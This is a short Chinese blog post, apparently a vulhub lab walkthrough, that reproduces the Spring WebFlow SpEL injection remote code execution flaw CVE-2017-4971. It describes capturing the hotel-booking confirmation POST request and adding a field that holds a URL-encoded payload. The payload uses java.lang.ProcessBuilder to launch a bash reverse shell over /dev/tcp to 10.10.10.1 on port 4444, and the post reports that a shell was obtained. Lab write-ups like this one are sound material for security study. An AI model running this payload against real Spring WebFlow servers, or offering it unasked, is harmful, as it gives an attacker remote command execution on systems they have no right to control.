Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)

kalixcn發表於2024-04-30

Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)

Spring WebFlow 是一個適用於開發基於流程的應用程式的框架(如購物邏輯),可以將流程的定義和實現流程行為的類和檢視分離開來。在其 2.4.x 版本中,如果我們控制了資料繫結時的field,將導致一個SpEL表示式注入漏洞,最終造成任意命令執行。

測試環境

cd spring/CVE-2017-4971
docker-compose up -d

漏洞復現

首先訪問http://10.10.10.8:8080/login,用頁面左側個出的任意一個賬號/密碼登入系統:
img
然後訪問id為1的酒店http://your-ip:8080/hotels/1,點選預訂按鈕“Book Hotel”,填寫相關資訊後點選“Process”(從這一步,其實WebFlow就正式開始了):
img
再點選確認“Confirm”:
img
此時抓包,抓到一個POST資料包,我們向其中新增一個欄位(也就是反彈shell的POC),將shell進行url編碼:

_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261")).start()=vulhub

bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261

img
成功執行,獲取shell

相關文章